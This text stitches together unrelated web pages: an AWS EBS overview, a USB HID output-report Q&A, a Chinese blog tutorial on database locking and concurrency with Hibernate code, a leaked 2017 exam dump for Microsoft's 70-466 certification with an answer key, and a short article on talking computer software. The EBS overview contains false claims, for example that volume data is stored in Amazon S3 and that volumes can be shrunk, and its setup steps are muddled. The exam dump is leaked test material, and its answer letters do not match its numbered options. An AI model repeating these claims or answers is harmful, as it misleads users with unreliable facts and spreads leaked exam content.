2. The type of volume- General Purpose (SSD), Provisioned IOPS (SSD), or Magnetic
3. The Availability Zone in which to create the volume
4. (Optional) A name for the volume
Once you have created an EBS volume, you can attach it to an EC2 instance in the same Availability Zone. You can then format the volume and mount it as a file system on your instance. The volume will remain attached to the instance until you detach it.
When you attach an EBS volume to an EC2 instance, the instance can access the volume as if it were a local disk. The volume’s data is stored in Amazon S3, and EBS encrypts your data at rest with AES-256 encryption. You retain full control of your data and AWS manages the infrastructure to provide durability and availability.
EBS provides a number of benefits:
1. Persistent storage- Data stored on an EBS volume is persisted even if the EC2 instance is terminated.
2. Flexible storage size- You can increase or decrease the size of an EBS volume as needed.
3. Easy to use- EBS volumes can be easily created and attached to EC2 instances.
4. Reliable- EBS volumes are replicated within an AZ to protect against Availability Zone failures.
5. Secure- Data at rest on an EBS volume is encrypted with AES-256 encryption.
6. High performance- EBS volumes offer consistent, low-latency performance.
If you are using an EBS volume for the first time, you need to format it with a file system such as ext3 or NTFS. You can then mount the volume and access it like any other disk on your system.
How to set up an AWS EBS instance
There are a few steps you need to take in order to set up an AWS EBS instance. The first step is to create an Amazon EC2 instance. You can use the Amazon EC2 console, the command line interface (CLI), or the API to create an instance.
Once you have created an instance, you need to attach an EBS volume to the instance. You can do this using the Amazon EC2 console, the CLI, or the API.
Next, you need to format the EBS volume with a file system such as ext3 or NTFS. You can then mount the volume and access it like any other disk on your system. Finally, you need to install the operating system on the EBS volume.
You can install the operating system on an EBS volume in one of two ways:
1. You can copy the operating system installation files to the EBS volume and then install the operating system.
2. You can use a bootstrap script to install the operating system automatically.
AWS EBS provides a number of benefits, including persistent storage, flexible storage size, easy to use, reliable, secure, and high performance. Setting up an AWS EBS instance is a straightforward process that can be completed in a few steps.
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six + five =
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HID out report example
Question: Do you have an code example that demonstrates HID Out report transfer ?
Answer:
The code example attached does a key board report transfer. Accoeding to the input keyboard report sent the output report sent by the HID driver is displayed on the LCD.
For information on HID Key board report structure in page 60 of HID specification.
Please find the code example attached that demonstrates a out report transfer.
1. In the project 'capslock' + 'a' is sent all the time via EP1.
2. Open a note pad and place the cursor there
3. In the OUT Endpoint EP2 , a value of 0x02 is observed indicating that the caps lock is pressed. The contents of EP2 by transferred to rxbuf and displayed on an LCD
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随笔-624 评论-124 文章-0
大数据量下高并发同步的讲解（不看，保证你后悔）
对于我们开发的网站，如果网站的访问量非常大的话，那么我们就需要考虑相关的并发访问问题了。而并发问题是绝大部分的程序员头疼的问题，
但话又说回来了，既然逃避不掉，那我们就坦然面对吧~今天就让我们一起来研究一下常见的并发和同步吧。
为了更好的理解并发和同步，我们需要先明白两个重要的概念:同步和异步
1、同步和异步的区别和联系
所谓同步，可以理解为在执行完一个函数或方法之后，一直等待系统返回值或消息，这时程序是出于阻塞的，只有接收到
返回的值或消息后才往下执行其它的命令。
异步，执行完函数或方法后，不必阻塞性地等待返回值或消息，只需要向系统委托一个异步过程，那么当系统接收到返回
值或消息时，系统会自动触发委托的异步过程，从而完成一个完整的流程。
同步在一定程度上可以看做是单线程，这个线程请求一个方法后就待这个方法给他回复，否则他不往下执行(死心眼)。
异步在一定程度上可以看做是多线程的(废话，一个线程怎么叫异步)，请求一个方法后，就不管了，继续执行其他的方法。
同步就是一件事，一件事情一件事的做。
异步就是，做一件事情，不引响做其他事情。
例如：吃饭和说话，只能一件事一件事的来，因为只有一张嘴。
但吃饭和听音乐是异步的，因为，听音乐并不引响我们吃饭。
对于Java程序员而言，我们会经常听到同步关键字synchronized，假如这个同步的监视对象是类的话，那么如果当一个对象
访问类里面的同步方法的话，那么其它的对象如果想要继续访问类里面的这个同步方法的话，就会进入阻塞，只有等前一个对象
执行完该同步方法后当前对象才能够继续执行该方法。这就是同步。相反，如果方法前没有同步关键字修饰的话，那么不同的对象
可以在同一时间访问同一个方法，这就是异步。
在补充一下(脏数据和不可重复读的相关概念):
脏数据
脏读就是指当一个事务正在访问数据，并且对数据进行了修改，而这种修改还没有提交到数据库中，这时，另外一个事务也访问这个数据，然后使用了这
个数据。因为这个数据是还没有提交的数据，那么另外一个事务读到的这个数据是脏数据(Dirty Data)，依据脏数据所做的操作可能是不正确的。
不可重复读
不可重复读是指在一个事务内，多次读同一数据。在这个事务还没有结束时，另外一个事务也访问该同一数据。那么，在第一个事务中的两次读数据之间，由于第二个事务的修改，那么第一个事务两次读到的数据可能是不一样的。这样就发生了在一个事务内两次读到的数据是不一样的，因此称为是不可重复读
2、如何处理并发和同步
今天讲的如何处理并发和同同步问题主要是通过锁机制。
我们需要明白，锁机制有两个层面。
一种是代码层次上的，如java中的同步锁，典型的就是同步关键字synchronized，这里我不在做过多的讲解，
感兴趣的可以参考:http://www.cnblogs.com/xiohao/p/4151408.html
另外一种是数据库层次上的，比较典型的就是悲观锁和乐观锁。这里我们重点讲解的就是悲观锁（传统的物理锁）和乐观锁。
悲观锁(Pessimistic Locking):
悲观锁，正如其名，它指的是对数据被外界（包括本系统当前的其他事务，以及来自 外部系统的事务处理）修改持保守态度，因此，
在整个数据处理过程中，将数据处于锁定状态。
悲观锁的实现，往往依靠数据库提供的锁机制（也只有数据库层提供的锁机制才能 真正保证数据访问的排他性，否则，即使在本系统
中实现了加锁机制，也无法保证外部系 统不会修改数据）。
一个典型的倚赖数据库的悲观锁调用：
select * from account where name=”Erica” for update
这条 sql 语句锁定了 account 表中所有符合检索条件（ name=”Erica” ）的记录。
本次事务提交之前（事务提交时会释放事务过程中的锁），外界无法修改这些记录。
Hibernate 的悲观锁，也是基于数据库的锁机制实现。
下面的代码实现了对查询记录的加锁：
String hqlStr ="from TUser as user where user.name='Erica'";
Query query = session.createQuery(hqlStr);
query.setLockMode("user",LockMode.UPGRADE); // 加锁
List userList = query.list();// 执行查询，获取数据
query.setLockMode 对查询语句中，特定别名所对应的记录进行加锁（我们为 TUser 类指定了一个别名 “user” ），这里也就是对
返回的所有 user 记录进行加锁。
观察运行期 Hibernate 生成的 SQL 语句：
select tuser0_.id as id, tuser0_.name as name, tuser0_.group_id
as group_id, tuser0_.user_type as user_type, tuser0_.sex as sex
from t_user tuser0_ where (tuser0_.name='Erica' ) for update
这里 Hibernate 通过使用数据库的 for update 子句实现了悲观锁机制。
Hibernate 的加锁模式有：
Ø LockMode.NONE ： 无锁机制。
Ø LockMode.WRITE ： Hibernate 在 Insert 和 Update 记录的时候会自动获取
Ø LockMode.READ ： Hibernate 在读取记录的时候会自动获取。
以上这三种锁机制一般由 Hibernate 内部使用，如 Hibernate 为了保证 Update
过程中对象不会被外界修改，会在 save 方法实现中自动为目标对象加上 WRITE 锁。
Ø LockMode.UPGRADE ：利用数据库的 for update 子句加锁。
Ø LockMode. UPGRADE_NOWAIT ： Oracle 的特定实现，利用 Oracle 的 for
update nowait 子句实现加锁。
上面这两种锁机制是我们在应用层较为常用的，加锁一般通过以下方法实现：
Criteria.setLockMode
Query.setLockMode
Session.lock
注意，只有在查询开始之前（也就是 Hiberate 生成 SQL 之前）设定加锁，才会
真正通过数据库的锁机制进行加锁处理，否则，数据已经通过不包含 for update
子句的 Select SQL 加载进来，所谓数据库加锁也就无从谈起。
为了更好的理解select... for update的锁表的过程，本人将要以mysql为例，进行相应的讲解
1、要测试锁定的状况，可以利用MySQL的Command Mode ，开二个视窗来做测试。
表的基本结构如下:
表中内容如下:
开启两个测试窗口，在其中一个窗口执行select * from ta for update0
然后在另外一个窗口执行update操作如下图:
等到一个窗口commit后的图片如下:
到这里，悲观锁机制你应该了解一些了吧~
需要注意的是for update要放到mysql的事务中，即begin和commit中，否者不起作用。
至于是锁住整个表还是锁住选中的行，请参考:
http://www.cnblogs.com/xiohao/p/4385768.html
至于hibernate中的悲观锁使用起来比较简单，这里就不写demo了~感兴趣的自己查一下就ok了~
乐观锁(Optimistic Locking):
相对悲观锁而言，乐观锁机制采取了更加宽松的加锁机制。悲观锁大多数情况下依 靠数据库的锁机制实现，以保证操作最大程度的独占性。但随之
而来的就是数据库 性能的大量开销，特别是对长事务而言，这样的开销往往无法承受。 如一个金融系统，当某个操作员读取用户的数据，并在读出的用户数
据的基础上进 行修改时（如更改用户帐户余额），如果采用悲观锁机制，也就意味着整个操作过 程中（从操作员读出数据、开始修改直至提交修改结果的全
过程，甚至还包括操作 员中途去煮咖啡的时间），数据库记录始终处于加锁状态，可以想见，如果面对几 百上千个并发，这样的情况将导致怎样的后果。
观锁机制在一定程度上解决了这个问题。
乐观锁，大多是基于数据版本 Version ）记录机制实现。何谓数据版本？即为数据增加一个版本标识，在基于据库表的版本解决方案中，一般是通
过为数据库表增加一个 “version” 字段来 实现。 读取出数据时，将此版本号一同读出，之后更新时，对此版本号加一。此时，将提 交数据的版本数据与数据
库表对应记录的当前版本信息进行比对，如果提交的数据 版本号大于数据库表当前版本号，则予以更新，否则认为是过期数据。 对于上面修改用户帐户信息
的例子而言，假设数据库中帐户信息表中有一个 version 字段，当前值为 1 ；而当前帐户余额字段（ balance ）为 $100 。 操作员 A 此时将其读出
（ version=1 ），并从其帐户余额中扣除 $50（ $100-$50 ）。 2 在操作员 A 操作的过程中，操作员 B 也读入此用户信息（ version=1 ），并 从其帐
户余额中扣除 $20 （ $100-$20 ）。 3 操作员 A 完成了修改工作，将数据版本号加一（ version=2 ），连同帐户扣 除后余额（ balance=$50 ），提交
至数据库更新，此时由于提交数据版本大 于数据库记录当前版本，数据被更新，数据库记录 version 更新为 2 。 4 操作员 B 完成了操作，也将版本号加一
（ version=2 ）试图向数据库提交数 据（ balance=$80 ），但此时比对数据库记录版本时发现，操作员 B 提交的 数据版本号为 2 ，数据库记录当前版
本也为 2 ，不满足 “ 提交版本必须大于记 录当前版本才能执行更新 “ 的乐观锁策略，因此，操作员 B 的提交被驳回。 这样，就避免了操作员 B 用基于
version=1 的旧数据修改的结果覆盖操作 员 A 的操作结果的可能。 从上面的例子可以看出，乐观锁机制避免了长事务中的数据库加锁开销（操作员 A
和操作员 B 操作过程中，都没有对数据库数据加锁），大大提升了大并发量下的系 统整体性能表现。 需要注意的是，乐观锁机制往往基于系统中的数据存储
逻辑，因此也具备一定的局 限性，如在上例中，由于乐观锁机制是在我们的系统中实现，来自外部系统的用户 余额更新操作不受我们系统的控制，因此可能
会造成脏数据被更新到数据库中。在 系统设计阶段，我们应该充分考虑到这些情况出现的可能性，并进行相应调整（如 将乐观锁策略在数据库存储过程中实
现，对外只开放基于此存储过程的数据更新途 径，而不是将数据库表直接对外公开）。 Hibernate 在其数据访问引擎中内置了乐观锁实现。如果不用考虑外
部系统对数 据库的更新操作，利用 Hibernate 提供的透明化乐观锁实现，将大大提升我们的 生产力。
Hibernate 中可以通过 class 描述符的 optimistic-lock 属性结合 version描述符指定。
现在，我们为之前示例中的 User 加上乐观锁机制。
1 ． 首先为 User 的POJO class
package com.xiaohao.test;
public class User {
private Integer id;
private String userName;
private String password;
private int version;
public int getVersion() {
return version;
}
public void setVersion(int version) {
this.version = version;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getUserName() {
return userName;
}
public void setUserName(String userName) {
this.userName = userName;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public User() {}
public User(String userName, String password) {
super();
this.userName = userName;
this.password = password;
}
}
然后是User.hbm.xml
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.xiaohao.test">
<class name="User" table="user" optimistic-lock="version" >
<id name="id">
<generator class="native" />
</id>
<!--version标签必须跟在id标签后面-->
<version column="version" name="version" />
<property name="userName"/>
<property name="password"/>
</class>
</hibernate-mapping>
注意 version 节点必须出现在 ID 节点之后。
这里我们声明了一个 version 属性，用于存放用户的版本信息，保存在 User 表的version中
optimistic-lock 属性有如下可选取值：
Ø none
无乐观锁
Ø version
通过版本机制实现乐观锁
Ø dirty
通过检查发生变动过的属性实现乐观锁
Ø all
通过检查所有属性实现乐观锁
其中通过 version 实现的乐观锁机制是 Hibernate 官方推荐的乐观锁实现，同时也
是 Hibernate 中，目前唯一在数据对象脱离 Session 发生修改的情况下依然有效的锁机
制。因此，一般情况下，我们都选择 version 方式作为 Hibernate 乐观锁实现机制。
2 ． 配置文件hibernate.cfg.xml和UserTest测试类
hibernate.cfg.xml
<!DOCTYPE hibernate-configuration PUBLIC
"-//Hibernate/Hibernate Configuration DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
<hibernate-configuration>
<session-factory>
<!-- 指定数据库方言 如果使用jbpm的话，数据库方言只能是InnoDB-->
<property name="dialect">org.hibernate.dialect.MySQL5InnoDBDialect</property>
<!-- 根据需要自动创建数据表 -->
<property name="hbm2ddl.auto">update</property>
<!-- 显示Hibernate持久化操作所生成的SQL -->
<property name="show_sql">true</property>
<!-- 将SQL脚本进行格式化后再输出 -->
<property name="format_sql">false</property>
<property name="current_session_context_class">thread</property>
<!-- 导入映射配置 -->
<property name="connection.url">jdbc:mysql:///user</property>
<property name="connection.username">root</property>
<property name="connection.password">123456</property>
<property name="connection.driver_class">com.mysql.jdbc.Driver</property>
<mapping resource="com/xiaohao/test/User.hbm.xml" />
</session-factory>
</hibernate-configuration>
UserTest.java
package com.xiaohao.test;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.cfg.Configuration;
public class UserTest {
public static void main(String[] args) {
Configuration conf=new Configuration().configure();
SessionFactory sf=conf.buildSessionFactory();
Session session=sf.getCurrentSession();
Transaction tx=session.beginTransaction();
// User user=new User("小浩","英雄");
// session.save(user);
// session.createSQLQuery("insert into user(userName,password) value('张英雄16','123')")
// .executeUpdate();
User user=(User) session.get(User.class, 1);
user.setUserName("221");
// session.save(user);
System.out.println("恭喜您，用户的数据插入成功了哦~~");
tx.commit();
}
}
每次对 TUser 进行更新的时候，我们可以发现，数据库中的 version 都在递增。
下面我们将要通过乐观锁来实现一下并发和同步的测试用例:
这里需要使用两个测试类，分别运行在不同的虚拟机上面，以此来模拟多个用户同时操作一张表,同时其中一个测试类需要模拟长事务
UserTest.java
package com.xiaohao.test;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.cfg.Configuration;
public class UserTest {
public static void main(String[] args) {
Configuration conf=new Configuration().configure();
SessionFactory sf=conf.buildSessionFactory();
Session session=sf.openSession();
// Session session2=sf.openSession();
User user=(User) session.createQuery(" from User user where user=5").uniqueResult();
// User user2=(User) session.createQuery(" from User user where user=5").uniqueResult();
System.out.println(user.getVersion());
// System.out.println(user2.getVersion());
Transaction tx=session.beginTransaction();
user.setUserName("101");
tx.commit();
System.out.println(user.getVersion());
// System.out.println(user2.getVersion());
// System.out.println(user.getVersion()==user2.getVersion());
// Transaction tx2=session2.beginTransaction();
// user2.setUserName("4468");
// tx2.commit();
}
}
UserTest2.java
package com.xiaohao.test;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.cfg.Configuration;
public class UserTest2 {
public static void main(String[] args) throws InterruptedException {
Configuration conf=new Configuration().configure();
SessionFactory sf=conf.buildSessionFactory();
Session session=sf.openSession();
// Session session2=sf.openSession();
User user=(User) session.createQuery(" from User user where user=5").uniqueResult();
Thread.sleep(10000);
// User user2=(User) session.createQuery(" from User user where user=5").uniqueResult();
System.out.println(user.getVersion());
// System.out.println(user2.getVersion());
Transaction tx=session.beginTransaction();
user.setUserName("100");
tx.commit();
System.out.println(user.getVersion());
// System.out.println(user2.getVersion());
// System.out.println(user.getVersion()==user2.getVersion());
// Transaction tx2=session2.beginTransaction();
// user2.setUserName("4468");
// tx2.commit();
}
}
操作流程及简单讲解: 首先启动UserTest2.java测试类，在执行到Thread.sleep(10000);这条语句的时候，当前线程会进入睡眠状态。在10秒钟之内
启动UserTest这个类，在到达10秒的时候，我们将会在UserTest.java中抛出下面的异常:
Exception in thread "main" org.hibernate.StaleObjectStateException: Row was updated or deleted by another transaction (or unsaved-value mapping was incorrect): [com.xiaohao.test.User#5]
at org.hibernate.persister.entity.AbstractEntityPersister.check(AbstractEntityPersister.java:1932)
at org.hibernate.persister.entity.AbstractEntityPersister.update(AbstractEntityPersister.java:2576)
at org.hibernate.persister.entity.AbstractEntityPersister.updateOrInsert(AbstractEntityPersister.java:2476)
at org.hibernate.persister.entity.AbstractEntityPersister.update(AbstractEntityPersister.java:2803)
at org.hibernate.action.EntityUpdateAction.execute(EntityUpdateAction.java:113)
at org.hibernate.engine.ActionQueue.execute(ActionQueue.java:273)
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:265)
at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:185)
at org.hibernate.event.def.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:321)
at org.hibernate.event.def.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:51)
at org.hibernate.impl.SessionImpl.flush(SessionImpl.java:1216)
at org.hibernate.impl.SessionImpl.managedFlush(SessionImpl.java:383)
at org.hibernate.transaction.JDBCTransaction.commit(JDBCTransaction.java:133)
at com.xiaohao.test.UserTest2.main(UserTest2.java:21)
UserTest2代码将在 tx.commit() 处抛出 StaleObjectStateException 异 常，并指出版本检查失败，当前事务正在试图提交一个过期数据。通过捕捉这个异常，我 们就可以在乐观锁校验失败时进行相应处理
3、常见并发同步案例分析
案例一:订票系统案例，某航班只有一张机票，假定有1w个人打开你的网站来订票，问你如何解决并发问题(可扩展到任何高并发网站要考虑
的并发读写问题)
问题，1w个人来访问，票没出去前要保证大家都能看到有票，不可能一个人在看到票的时候别人就不能看了。到底谁能抢到，那得看这个人的“运气”（网
络快慢等）
其次考虑的问题，并发，1w个人同时点击购买，到底谁能成交？总共只有一张票。
首先我们容易想到和并发相关的几个方案 ：
锁同步同步更多指的是应用程序的层面，多个线程进来，只能一个一个的访问，java中指的是syncrinized关键字。锁也有2个层面，一个是java中谈到的对
象锁，用于线程同步；另外一个层面是数据库的锁；如果是分布式的系统，显然只能利用数据库端的锁来实现。
假定我们采用了同步机制或者数据库物理锁机制，如何保证1w个人还能同时看到有票，显然会牺牲性能，在高并发网站中是不可取的。使用hibernate后我们
提出了另外一个概念：乐观锁悲观锁（即传统的物理锁）；
采用乐观锁即可解决此问题。乐观锁意思是不锁定表的情况下，利用业务的控制来解决并发问题，这样即保证数据的并发可读性又保证保存数据的排他性，保
证性能的同时解决了并发带来的脏数据问题。
hibernate中如何实现乐观锁：
前提：在现有表当中增加一个冗余字段，version版本号, long类型
原理：
1）只有当前版本号》=数据库表版本号，才能提交
2）提交成功后，版本号version ++
实现很简单：在ormapping增加一属性optimistic-lock="version"即可，以下是样例片段
<hibernate-mapping>
<class name="com.insigma.stock.ABC" optimistic-lock="version" table="T_Stock" schema="STOCK">
案例二、股票交易系统、银行系统，大数据量你是如何考虑的
首先，股票交易系统的行情表，每几秒钟就有一个行情记录产生，一天下来就有（假定行情3秒一个） 股票数量×20×60*6 条记录，一月下来这个表记录数
量多大？ oracle中一张表的记录数超过100w后 查询性能就很差了，如何保证系统性能？
再比如，中国移动有上亿的用户量，表如何设计？把所有用于存在于一个表么？
所以，大数量的系统，必须考虑表拆分-（表名字不一样，但是结构完全一样），通用的几种方式：（视情况而定）
1）按业务分，比如 手机号的表，我们可以考虑 130开头的作为一个表，131开头的另外一张表 以此类推
2）利用oracle的表拆分机制做分表
3）如果是交易系统，我们可以考虑按时间轴拆分，当日数据一个表，历史数据弄到其它表。这里历史数据的报表和查询不会影响当日交易。
当然，表拆分后我们的应用得做相应的适配。单纯的or-mapping也许就得改动了。比如部分业务得通过存储过程等
此外，我们还得考虑缓存
这里的缓存，指的不仅仅是hibernate，hibernate本身提供了一级二级缓存。这里的缓存独立于应用，依然是内存的读取，假如我们能减少数据库频繁的访
问，那对系统肯定大大有利的。比如一个电子商务系统的商品搜索，如果某个关键字的商品经常被搜，那就可以考虑这部分商品列表存放到缓存（内存中
去），这样不用每次访问数据库，性能大大增加。
简单的缓存大家可以理解为自己做一个hashmap，把常访问的数据做一个key，value是第一次从数据库搜索出来的值，下次访问就可以从map里读取，而不
读数据库；专业些的目前有独立的缓存框架比如memcached 等，可独立部署成一个缓存服务器。
4、常见的提高高并发下访问的效率的手段
首先要了解高并发的的瓶颈在哪里？
1、可能是服务器网络带宽不够
2.可能web线程连接数不够
3.可能数据库连接查询上不去。
根据不同的情况，解决思路也不同。
1. 像第一种情况可以增加网络带宽，DNS域名解析分发多台服务器。
2. 负载均衡，前置代理服务器nginx、apache等等
3. 数据库查询优化，读写分离，分表等等
最后复制一些在高并发下面需要常常需要处理的内容:
• 尽量使用缓存，包括用户缓存，信息缓存等，多花点内存来做缓存，可以大量减少与数据库的交互，提高性能。
• 用jprofiler等工具找出性能瓶颈，减少额外的开销。
• 优化数据库查询语句，减少直接使用hibernate等工具的直接生成语句（仅耗时较长的查询做优化）。
• 优化数据库结构，多做索引，提高查询效率。
• 统计的功能尽量做缓存，或按每天一统计或定时统计相关报表，避免需要时进行统计的功能。
• 能使用静态页面的地方尽量使用，减少容器的解析（尽量将动态内容生成静态html来显示）。
• 解决以上问题后，使用服务器集群来解决单台的瓶颈问题。
好吧，简单的高并发和同步就到这里吧~~
任何问题可以发送值邮箱:[email protected]~
posted on 2015-04-01 22:06 @ 小浩 阅读(...) 评论(...) 编辑 收藏
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[Free] 2017(Sep) EnsurePass Testking Microsoft 70-466 Dumps with VCE and PDF 51-60
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Implementing Data Models and Reports with Microsoft SQL Server 2014
Question No: 51 – (Topic 4)
You are modifying a SQL Server Analysis Services (SSAS) cube that aggregates order data from a Microsoft Azure SQL Database database. The existing database contains a customer dimension.
The marketing team has requested that customer marketing categories be added to the database.
The marketing categories must meet the following requirements:
->A customer member must be able to belong to multiple category members.
->A category member must be able to group several customer members.
->The marketing team must be able to create new categories every month in the data source.
You need to implement the appropriate solution to meet the requirements while ensuring that the amount of development and maintenance time is minimized.
What should you do? (More than one answer choice may achieve the goal. Select the BEST answer.)
1. Create a dimension named Marketing Category Name and then configure a many-to- many relationship.
2. Create a dimension named Marketing Category Name and then configure a regular
relationship.
3. Add an attribute hierarchy named Marketing Category Name to the customer dimension.
4. Add an attribute hierarchy for each marketing category to the customer dimension. Configure each hierarchy to have two members named Yes and No.
Answer: A
Question No: 52 – (Topic 4)
You are working with a SQL Server Reporting Services (SSRS) instance in native mode. An item role named Reports Writer is present on the server.
The Reports Writer role cannot view and modify report caching parameters.
You need to ensure that the Reports Writer role can view and modify report caching parameters.
What should you do?
1. Add the Manage all subscriptions task to the Reports Writer role.
2. Add the Manage report history task to the Reports Writer role.
3. Add the View data sources task to the Reports Writer role.
4. Add the Manage individual subscriptions task to the Reports Writer role.
Answer: B
Question No: 53 DRAG DROP – (Topic 4)
You are developing a SQL Server Analysis Services (SSAS) cube. You need to reuse a measure group from a different database.
In SQL Server Data Tools (SSDT), which three actions should you perform in sequence? (To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.)
Ensurepass 2017 PDF and VCE
Answer:
Ensurepass 2017 PDF and VCE
Explanation:
Box 1:
Ensurepass 2017 PDF and VCE
Box 2:
Ensurepass 2017 PDF and VCE
Box 3:
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Note:
• You can use the Linked Object Wizard to either link to or import cubes, dimensions, measure groups, calculations, and Key Performance Indicators (KPIs). You can link to or import these items from another database on the same server or from a database on a remote server
• On the Select a Data Source page of the Linked Object Wizard, choose the Analysis Services data source or create a new one.
• On the Select Objects page of the wizard, choose the dimensions you want to link to in the remote database. You cannot link to linked dimensions in the remote database.
• Incorrect:
The Business Intelligence Wizard can guide you through some or all the following steps: Define time intelligence for cubes.
Define account intelligence for cubes and dimensions. Define dimension intelligence for cubes and dimensions. Define unary operators for cubes.
Set custom member formulas for cubes and dimensions. Specify attribute ordering for dimensions.
Enable dimension writeback for dimensions. Define semi-additive behavior for cubes.
Define currency conversion for cubes.
Question No: 54 DRAG DROP – (Topic 4)
You manage a SQL Server Reporting Services (SSRS) instance running in native mode.
You are troubleshooting a performance problem and need to know which reports are frequently executed. You discover that the report server execution logs are empty, despite significant report activity.
You need to ensure that the server is configured for report execution logging.
Which three actions should you perform in sequence? (To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.)
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Answer:
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Explanation:
Box 1:
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Box 2:
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Box 3:
Note: This server is running in NATIVE mode (not Sharepoint mode)
To enable execution logging (in Native mode):
->Start SQL Server Management Studio with administrative privileges. For example right-click the Management Studio icon and click ‘Run as administrator’.
->Connect to the desired report server.
->Right-click the server name and click Properties. If the Properties option is
disabled, verify you ran SQL Server Management Studio with administrative privileges.
->Click the Logging page.
->Select Enable report execution Logging.
Ref: http://msdn.microsoft.com/en-us/library/ms159110.aspx
Question No: 55 – (Topic 4)
You are developing a BI Semantic Model (BISM) based on a simple and small dataset sourced from SQL Server. The data size and complexity of the data relationships will not change. The model will be used to produce reports in Power View.
You need to use an appropriate project type.
Which project types should you use? (Each answer presents a complete solution. Choose all that apply.)
1. A tabular project that uses the In-Memory query mode
2. A tabular project that uses the DirectQuery query mode
3. A multidimensional project that uses the MOLAP storage mode
4. A PowerPivot workbook that is deployed to Microsoft SharePoint Server 2010
5. A multidimensional project that uses the ROLAP storage mode
Answer: A,B,D
Explanation: Power View is a thin web client that launches right in the browser from a data model in SharePoint Server 2010. The model can be a PowerPivot model workbook or a tabular model running on a SQL Server 2012 Analysis Services (SSAS) server.
Question No: 56 – (Topic 4)
You are designing a SQL Server Reporting Services (SSRS) report based on a SQL Server Analysis Services (SSASJ cube.
The cube contains a Key Performance Indicator (KPI) to show if a salesperson#39;s sales are
off target slightly off target, or on target.
You need to add a report item that visually displays the KPI status value as a red, yellow, or green circle.
Which report item should you add?
1. Linear Gauge
2. Indicator
3. Data Bar
4. Radial Gauge
5. Sparkline
Answer: B
Question No: 57 – (Topic 4)
You are designing a SQL Server Analysis Services (SSAS) cube for the sales department at your company.
The sales department has the following requirements for the cube:
->Include a year-over-year (YOY) calculation
->Include a month-over-month (MOM) calculation
You need to ensure that the calculations are implemented in the cube. Which Multidimensional Expressions (MDX) function should you use?
1. UNREGINTERCEPT()
2. LASTPERIODS()
3. TIMEINTELLIGENCE()
4. PARALLELPERIOD()
Answer: D
Question No: 58 – (Topic 4)
You are developing a SQL Server Analysis Services (SSAS) multidimensional project.
A fact table is related to a dimension table named DimScenario by a column named ScenarioKey.
The dimension table contains three rows for the following scenarios:
->Actual
->Budget Q1
->Budget Q3
You need to create a dimension to allow users to view and compare data by scenario. What should you do?
1. Use role playing dimensions.
2. Use the Business Intelligence Wizard to define dimension intelligence.
3. Add a measure that uses the Count aggregate function to an existing measure group.
4. Add a measure that uses the DistinctCount aggregate function to an existing measure group.
5. Add a measure group that has one measure that uses the DistinctCount aggregate function.
6. Add a calculated measure based on an expression that counts members filtered by the Exists and NonEmpty functions.
7. Add a hidden measure that uses the Sum aggregate function. Add a calculated measure aggregating the measure along the time dimension.
8. Create several dimensions. Add each dimension to the cube.
9. Create a dimension. Then add a cube dimension and link it several times to the measure group.
10. Create a dimension. Create regular relationships between the cube dimension and the measure group. Configure the relationships to use different dimension attributes.
11. Create a dimension with one attribute hierarchy. Set the IsAggregatable property to False and then set the DefaultMember property. Use a regular relationship between the dimension and measure group.
12. Create a dimension with one attribute hierarchy. Set the IsAggregatable property to False and then set the DefaultMember property. Use a many-to-many relationship to link the dimension to the measure group.
13. Create a dimension with one attribute hierarchy. Set the IsAggregatable property to False and then set the DefaultMember property. Use a many-to-many relationship to link the dimension to the measure group.
14. Create a dimension with one attribute hierarchy. Set the ValueColumn property, set the IsAggregatable property to False, and then set the DefaultMember property. Configure the cube dimension so that it does not have a relationship with the measure group. Add a calculated measure that uses the MemberValue attribute property.
15. Create a new named calculation in the data source view to calculate a rolling sum. Add a measure that uses the Max aggregate function based on the named calculation.
Answer: K
Question No: 59 – (Topic 4)
You are restructuring an existing cube. One of the measures in the cube is Amount. The Sum aggregation function is used for the Amount measure. The cube includes a dimension named Account and the dimension#39;s Type property is set to Accounts. The Account dimension includes an account type attribute.
You need to ensure that the Amount measure aggregates correctly according to the account type classification. Development effort must be minimized.
What should you do? (More than one answer choice may achieve the goal. Select the BEST answer.)
1. Develop a .NET application that uses Analysis Management Objects (AMO) to change the existing AggregateFunction property value of the Amount measure to FirstNonEmpty and then use the application.
2. Develop a .NET application that uses Analysis Management Objects (AMO) to change the existing AggregateFunction property value of the Amount measure to ByAccount and then use the application.
3. Use SQL Server Data Tools to change the AggregateFunction property value of the Amount measure to ByAccount.
4. Add the ByAccount attribute to the account dimension.
Answer: C
Question No: 60 – (Topic 4)
You maintain SQL Server Analysis Services (SSAS) instances.
You need to configure an installation of PowerPivot for Microsoft SharePoint in a SharePoint farm.
Which tool should you use? (Each correct answer presents a complete solution. Choose all that apply.)
1. SQL Server Configuration Manager
2. PowerPivot Configuration Tool
3. SharePoint Products Configuration Wizard
4. SharePoint Central Administration
5. PowerShell
Answer: A,B,D
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Category:
What Is Talking Computer Software?
Article Details
• Written By: G. Wiesen
• Edited By: Heather Bailey
• Last Modified Date: 19 September 2018
• Copyright Protected:
2003-2018
Conjecture Corporation
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Talking computer software is a type of program that is able to provide output information for a user in the form of audible, spoken words. These programs can be utilized for a number of reasons, including text-to-talk programs that allow a user to type in words and hear them repeated as spoken voice. There are also desktop and computer control programs that can create an interactive experience for users through spoken input and output. Talking computer software is often utilized to make computer use easier and more effective for those who may have special needs, including people with limited eyesight.
